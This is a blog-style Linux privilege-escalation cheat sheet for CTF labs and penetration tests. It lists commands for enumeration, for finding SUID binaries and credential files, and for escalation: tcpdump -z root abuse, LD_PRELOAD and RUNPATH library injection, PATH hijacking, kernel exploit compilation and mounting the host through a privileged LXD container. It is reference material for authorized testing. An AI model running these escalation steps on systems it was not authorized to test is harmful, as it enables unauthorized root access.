Post

Linux Privilege Escalation Cheat Sheet

When working on Capture the Flag (CTF) labs or penetration tests (on LINUX), it is essential to gather information about the target system and look for privilege-escalation opportunities. The following commands provide a practical reference for enumeration, misconfiguration discovery, and common privilege-escalation techniques.

Linux Privilege Escalation Cheat Sheet

Initial Access and User Enumeration

CommandDescription
ssh htb-student@<target IP>SSH into the target machine using the htb-student account.
ps aux \| grep rootList running processes and filter for those owned by root.
ps auDisplay currently logged-in users.
ls /homeView all user home directories.
ls -l ~/.sshCheck for SSH keys belonging to the current user.
historyShow the current user’s shell history.
sudo -lCheck if the user can run commands as another user.

Cron Jobs and File Systems

CommandDescription
ls -la /etc/cron.dailyInspect daily Cron jobs for potential privilege-escalation scripts.
lsblkList block devices to find unmounted file systems or hidden drives.
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/nullFind world-writable directories.
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/nullFind world-writable files.

System and Kernel Information

CommandDescription
uname -aDisplay the kernel version (useful for kernel exploits).
cat /etc/lsb-releaseShow the operating system release details.

Exploits and Binary Checks

CommandDescription
gcc kernel_exploit.c -o kernel_exploitCompile a C-based kernel exploit.
screen -vCheck the installed version of GNU Screen (older versions may be vulnerable).
./pspy64 -pf -i 1000Monitor running processes with pspy.
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/nullLocate binaries with the SUID bit set.
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/nullLocate binaries with the SETGID bit set.
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z rootExploit tcpdump to escalate privileges.
echo $PATHDisplay the current user’s PATH variable.
PATH=.:${PATH}Add the current directory to the beginning of PATH.
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/nullSearch for configuration files containing credentials.
ldd /bin/lsList shared objects required by a binary.
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restartEscalate privileges using the LD_PRELOAD technique.
readelf -d payroll \| grep PATHCheck the RUNPATH of a binary for potential library injection.
gcc src.c -fPIC -shared -o /development/libshared.soCompile a shared library for exploitation.

LXD and Container Techniques

CommandDescription
lxd initStart the LXD initialization process.
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpineImport a local Alpine Linux image into LXD.
lxc init alpine r00t -c security.privileged=trueLaunch a privileged LXD container.
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=trueMount the host file system inside the container.
lxc start r00tStart the LXD container.

Network and Remote Resources

CommandDescription
showmount -e 10.129.2.12Display the NFS export list of a remote host.
sudo mount -t nfs 10.129.2.12:/tmp /mntMount an NFS share locally.
tmux -S /shareds new -s debugsessCreate a shared tmux session socket.
./lynis audit systemPerform a system audit with Lynis.

Notes

  • Many of these commands require elevated privileges or specific system conditions to be effective.
  • Always verify permissions, ownerships, and kernel versions before attempting an exploit.
  • Use these commands responsibly and only on systems you are authorized to test.
This post is licensed under CC BY 4.0 by the author.
Step Bytes
raw 48761
endings 47965
comments 45228
collapse 26471
clippings 26121